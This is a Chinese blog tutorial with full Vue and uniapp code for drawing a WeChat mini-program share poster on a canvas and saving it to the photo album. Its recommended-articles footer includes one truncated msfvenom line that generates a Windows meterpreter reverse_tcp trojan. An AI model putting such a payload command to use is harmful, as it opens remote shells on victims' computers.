小程序分享海报,由于微信的限制,暂时无法直接分享小程序到朋友圈(虽然微信开发者工具基础库从2.11.3开始支持分享小程序到朋友圈,但目前仍处于Beta中)所以生成海报仍然还是主流方式

主体思路:将设计稿通过canvas生成图片,然后保存到用户相册,用户再通过图片分享小程序

属性 说明 可选值
type 元素类型 image、text、border、block(一般用于设置背景色块)
left 元素距离canvas左侧的距离 数字或者center,center表示水平居中,比如10、'center'
right 元素距离canvas右侧的距离 数字,比如10
top 元素距离canvas顶部的距离 数字,比如10
bottom 元素距离canvas底部的距离 数字,比如10
width 元素宽度 数字,比如20
height 元素高度 数字,比如20
url type为image时的图片地址 字符串
color type为text、border、block时的颜色 字符串,比如#333333
content type为text时的文本内容 字符串
fontSize type为text时的字体大小 数字,比如16
radius type为image、block时圆角,200表示圆形 数字,比如10
maxLine type为text时限制最大行数,超出以…结尾 数字,比如2
lineHeight type为text时的行高,倍数 数字,比如1.5,默认1.3

一、使用

<template>
<m-canvas ref="myCanvasRef" :width="470" :height="690" />
<button @click="createPoster">生成海报</button>
</template>
<script setup>
import { ref } from 'vue'
const myCanvasRef = ref()
function createPoster() {
// 配置项
const options = [
// 背景图
{
type: 'image',
url: '自行替换',
left: 0,
top: 0,
width: 470,
height: 690
},
// 长按扫码 > 浏览臻品 > 获取权益
{
type: 'text',
content: '长按扫码 > 浏览臻品 > 获取权益',
color: '#333',
fontSize: 20,
left: 'center',
top: 240
},
// 小程序码白色背景
{
type: 'block',
color: '#fff',
radius: 30,
left: 'center',
top: 275,
width: 245,
height: 245
},
// 小程序码
{
type: 'image',
url: '自行替换',
left: 'center',
top: 310,
width: 180,
height: 180
},
// 头像
{
type: 'image',
url: '自行替换',
radius: '50%',
left: 'center',
top: 545,
width: 50,
height: 50
},
// 昵称
{
type: 'text',
content: 'Jerry',
color: '#333',
fontSize: 20,
left: 'center',
top: 625
}
]
// 调用myCanvas的onDraw方法,绘制并保存
myCanvasRef.value.onDraw(options, url => {
console.log(url)
})
}
</script>
<style lang="scss" scoped></style>

  

二、封装m-canvas组件

<template>
<canvas class="myCanvas" canvas-id="myCanvas" />
</template>
<script setup>
import { getCurrentInstance } from 'vue'
// 引入canvas方法
import { createPoster } from './canvas'
const { proxy } = getCurrentInstance()
// 宽高需要传哦~
const props = defineProps({
width: {
type: Number,
required: true
},
height: {
type: Number,
required: true
}
})
// 导出方法给父组件用
defineExpose({
onDraw(options, callback) {
createPoster.call(
// 当前上下文
proxy,
// canvas相关信息
{
id: 'myCanvas',
width: props.width,
height: props.height
},
// 元素集合
options,
// 回调函数
callback
)
}
})
</script>
<style lang="scss" scoped>
// 隐藏canvas
.myCanvas {
left: -9999px;
bottom: -9999px;
position: fixed;
// canvas宽度
width: calc(1px * v-bind(width));
// canvas高度
height: calc(1px * v-bind(height));
}
</style>

三、声明canvas.js,封装方法

/** @生成海报 **/
export function createPoster(canvasInfo, options, callback) {
uni.showLoading({
title: '海报生成中…',
mask: true
})
const myCanvas = uni.createCanvasContext(canvasInfo.id, this)
var index = 0
drawCanvas(myCanvas, canvasInfo, options, index, () => {
myCanvas.draw(true, () => {
// 延迟,等canvas画完
const timer = setTimeout(() => {
savePoster.call(this, canvasInfo.id, callback)
clearTimeout(timer)
}, 1000)
})
})
}
// 绘制中
async function drawCanvas(myCanvas, canvasInfo, options, index, drawComplete) {
let item = options[index]
// 最大行数:maxLine 字体大小:fontSize 行高:lineHeight
// 类型 颜色 left right top bottom 宽 高 圆角 图片 文本内容
let { type, color, left, right, top, bottom, width, height, radius, url, content, fontSize } = item
radius = radius || 0
const { width: canvasWidth, height: canvasHeight } = canvasInfo
switch (type) {
/** @文本 **/
case 'text':
if (!content) break
// 根据字体大小计算出宽度
myCanvas.setFontSize(fontSize)
// 内容宽度:传了宽度就去宽度,否则取字体本身宽度
item.width = width || myCanvas.measureText(content).width
console.log(myCanvas.measureText(content))
// left位置
if (right !== undefined) {
item.left = canvasWidth - right - item.width
} else if (left === 'center') {
item.left = canvasWidth / 2 - item.width / 2
}
// top位置
if (bottom !== undefined) {
item.top = canvasHeight - bottom - fontSize
}
drawText(myCanvas, item)
break
/** @图片 **/
case 'image':
if (!url) break
var imageTempPath = await getImageTempPath(url)
// left位置
if (right !== undefined) {
left = canvasWidth - right - width
} else if (left === 'center') {
left = canvasWidth / 2 - width / 2
}
// top位置
if (bottom !== undefined) {
top = canvasHeight - bottom - height
}
// 带圆角
if (radius) {
myCanvas.save()
myCanvas.beginPath()
// 圆形图片
if (radius === '50%') {
myCanvas.arc(left + width / 2, top + height / 2, width / 2, 0, Math.PI * 2, false)
} else {
if (width < 2 * radius) radius = width / 2
if (height < 2 * radius) radius = height / 2
myCanvas.beginPath()
myCanvas.moveTo(left + radius, top)
myCanvas.arcTo(left + width, top, left + width, top + height, radius)
myCanvas.arcTo(left + width, top + height, left, top + height, radius)
myCanvas.arcTo(left, top + height, left, top, radius)
myCanvas.arcTo(left, top, left + width, top, radius)
myCanvas.closePath()
}
myCanvas.clip()
}
myCanvas.drawImage(imageTempPath, left, top, width, height)
myCanvas.restore()
break
/** @盒子 **/
case 'block':
// left位置
if (right !== undefined) {
left = canvasWidth - right - width
} else if (left === 'center') {
left = canvasWidth / 2 - width / 2
}
// top位置
if (bottom !== undefined) {
top = canvasHeight - bottom - height
}
if (width < 2 * radius) {
radius = width / 2
}
if (height < 2 * radius) {
radius = height / 2
}
myCanvas.beginPath()
myCanvas.fillStyle = color
myCanvas.strokeStyle = color
myCanvas.moveTo(left + radius, top)
myCanvas.arcTo(left + width, top, left + width, top + height, radius)
myCanvas.arcTo(left + width, top + height, left, top + height, radius)
myCanvas.arcTo(left, top + height, left, top, radius)
myCanvas.arcTo(left, top, left + width, top, radius)
myCanvas.stroke()
myCanvas.fill()
myCanvas.closePath()
break
/** @边框 **/
case 'border':
// left位置
if (right !== undefined) {
left = canvasWidth - right - width
}
// top位置
if (bottom !== undefined) {
top = canvasHeight - bottom - height
}
myCanvas.beginPath()
myCanvas.moveTo(left, top)
myCanvas.lineTo(left + width, top + height)
myCanvas.strokeStyle = color
myCanvas.lineWidth = width
myCanvas.stroke()
break
}
// 递归边解析图片边画
if (index === options.length - 1) {
drawComplete()
} else {
index++
drawCanvas(myCanvas, canvasInfo, options, index, drawComplete)
}
}
// 下载并保存
function savePoster(canvasId, callback) {
uni.showLoading({
title: '保存中…',
mask: true
})
uni.canvasToTempFilePath(
{
canvasId,
success(res) {
callback && callback(res.tempFilePath)
uni.saveImageToPhotosAlbum({
filePath: res.tempFilePath,
success() {
uni.showToast({
icon: 'success',
title: '保存成功!'
})
},
fail() {
uni.showToast({
icon: 'none',
title: '保存失败,请稍后再试~'
})
},
complete() {
uni.hideLoading()
}
})
},
fail(res) {
console.log('图片保存失败:', res.errMsg)
uni.showToast({
icon: 'none',
title: '保存失败,请稍后再试~'
})
}
},
this
)
}
// 绘制文字(带换行超出省略…功能)
function drawText(ctx, item) {
let { content, width, maxLine, left, top, lineHeight, color, fontSize } = item
content = String(content)
lineHeight = (lineHeight || 1.3) * fontSize
// 字体
ctx.setFontSize(fontSize)
// 颜色
ctx.setFillStyle(color)
// 文本处理
let strArr = content.split('')
let row = []
let temp = ''
for (let i = 0; i < strArr.length; i++) {
if (ctx.measureText(temp).width < width) {
temp += strArr[i]
} else {
i-- //这里添加了i-- 是为了防止字符丢失,效果图中有对比
row.push(temp)
temp = ''
}
}
row.push(temp) // row有多少项则就有多少行
//如果数组长度大于2,现在只需要显示两行则只截取前两项,把第二行结尾设置成'...'
if (row.length > maxLine) {
let rowCut = row.slice(0, maxLine)
let rowPart = rowCut[1]
let text = ''
let empty = []
for (let i = 0; i < rowPart.length; i++) {
if (ctx.measureText(text).width < width) {
text += rowPart[i]
} else {
break
}
}
empty.push(text)
let group = empty[0] + '...' //这里只显示两行,超出的用...表示
rowCut.splice(1, 1, group)
row = rowCut
}
// 把文本绘制到画布中
for (let i = 0; i < row.length; i++) {
// 一次渲染一行
ctx.fillText(row[i], left, top + i * lineHeight, width)
}
}
// 获取图片信息
function getImageTempPath(url) {
return new Promise((resolve) => {
if (url.includes('http')) {
uni.downloadFile({
url,
success: (res) => {
uni.getImageInfo({
src: res.tempFilePath,
success: (res) => {
resolve(res.path)
}
})
},
fail: (res) => {
console.log('图片下载失败:', res.errMsg)
}
})
} else {
resolve(url)
}
})
}

uniapp 分享 绘制海报的更多相关文章

  1. uniapp分享功能-系统分享

    uni-app分享 uniapp官网地址:https://uniapp.dcloud.io/api/plugins/share?id=sharewithsystem 调用系统分享组件发送分享消息,不需 ...

  2. 微信小程序之canvas绘制海报分享到朋友圈

    绘制canvas内容 首先,需要写一个canvas标签,给canvas-id命名为shareBox <canvas canvas-id="shareBox"></ ...

  3. 利用Python快速绘制海报级别地图

    1 简介 基于Python中诸如matplotlib等功能丰富.自由度极高的绘图库,我们可以完成各种极富艺术感的可视化作品,关于这一点我在系列文章在模仿中精进数据可视化中已经带大家学习过很多案例了. ...

  4. 使用Canvas绘制分享海报

    这几天接到一个需求,需要将一个邀请链接转换为一个带有二维码并且能够分享出去的海报图,网上找了很多的方法,也踩了不少的坑,希望大家遇到类似的需求能够少走弯路.. 具体效果图如下: 效果图 首先我采用了 ...

  5. 开源)嗨,Java,你可以生成金山词霸的二维码分享海报吗?

    As long as you can still grab a breath, you fight.只要一息尚存,就不得不战. 有那么一段时间,我特别迷恋金山词霸的每日一句分享海报.因为不仅海报上的图 ...

  6. 微信小程序利用canvas生成海报分享图片

    一 . 效果 这是借用女神照生成的分享的海报,图片来自网络. 新增了poster组件和更新图片自适应 二 . 准备 准备两张图片连接,最好是自己开发账号验证的https图片链接. 三 . 实现思路 其 ...

  7. Java生成微信分享海报【基础设计】

    前言 微信后台生成海报一般都是一个模板写死,然后就完事了,过了不久让修改个模板,就又要看半天,还要考虑是否重新复制一份改一改,越来越多的重复代码,全在一个图片类里,然后就越来越乱.这两天用设计模式处理 ...

  8. 关于canvas合成分享图

    最近在uni-app项目中遇到一个合成分享图的需求,其实最开始是用原生写法来做的,后台发现在PC端测试是可以的,但在APP模拟器中会出现问题,可能是因为两者的js环境不同吧,uni-app官网也说了这 ...

  9. fastposter发布1.4.2 跨语言的海报生成器

    fastposter发布1.4.2 跨语言的海报生成器 fastposter发布1.4.2 跨语言的海报生成器,一分钟完成海报开发 future: 完善docker镜像 引入异步asyncio 升级p ...

  10. java画海报

    package demotest; import java.awt.AlphaComposite; import java.awt.Color; import java.awt.Font; impor ...

随机推荐

  1. 【Devexpress】Gridcontorl的列隐藏后再显示位置发生了变化

    首先在可视化界面中排序好每个列的显示位置索引 在窗口初始化时进行记录在字段中 /// <summary> /// 当前显示列的位置索引,用于隐藏后显示进行重新排序位置 /// </s ...

  2. python-opencv实现抖动算法

    抖动算法简单介绍 简单说就是牺牲分辨率来提高颜色数量. 通过黑点的疏密程度来进行灰度的显示. 例如墨水屏幕只能显示黑白,那么我们可以取样一部分区域矩,例如2x2的一个矩阵,来显示5个级别的灰度,用4个 ...

  3. mysql安装及访问配置

    安装教程参考:https://www.cnblogs.com/hjw-zq/p/8809227.html 下载地址:https://dev.mysql.com/downloads/mysql/ 例:h ...

  4. 靶机练习: Vikings

    靶机:Vikings 准备工作 靶机地址: https://download.vulnhub.com/vikings/Vikings.ova MD5 校验:84f72c38e2458e01d00db9 ...

  5. 【PostgreSQL/PGSQL】创建分区表与临时表

    一.分区表 1.链接 https://blog.csdn.net/zhangyupeng0528/article/details/119423234 2.分类 列(值)分区表:partition by ...

  6. 【中间件】K8S-kubernetes

    一.概念 1.为什么使用k8s 生产型应用会涉及多个容器.这些容器必须跨多个服务器主机进行部署 可以构建跨多个容器的应用服务.跨集群调度.扩展这些容器,并长期持续管理这些容器的健康状况 在Docker ...

  7. 基于MATLAB的人民币识别系统

    1.选图背景 随着科技的发展,图像识别技术在计算机视觉领域起着越来越重要的作用,现已被应用到金融.军事.公安刑侦.生物医学.机器视觉等各个领域: 随着国民经济的快速发展,人民币大量流通市场,商业交易都 ...

  8. React报错之Function components cannot have string refs

    总览 当我们在一个函数组件中使用一个字符串作为ref时,会产生"Function components cannot have string refs"错误.为了解决该错误,使用u ...

  9. 监听Windows(生成木马)

    sudo su msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ip地址 LPORT=端口 -f ...

  10. 深度学习之Transformer网络

    [博主使用的python版本:3.6.8] 本次没有额外的资料下载 Packages ort tensorflow as tf import pandas as pd import time impo ...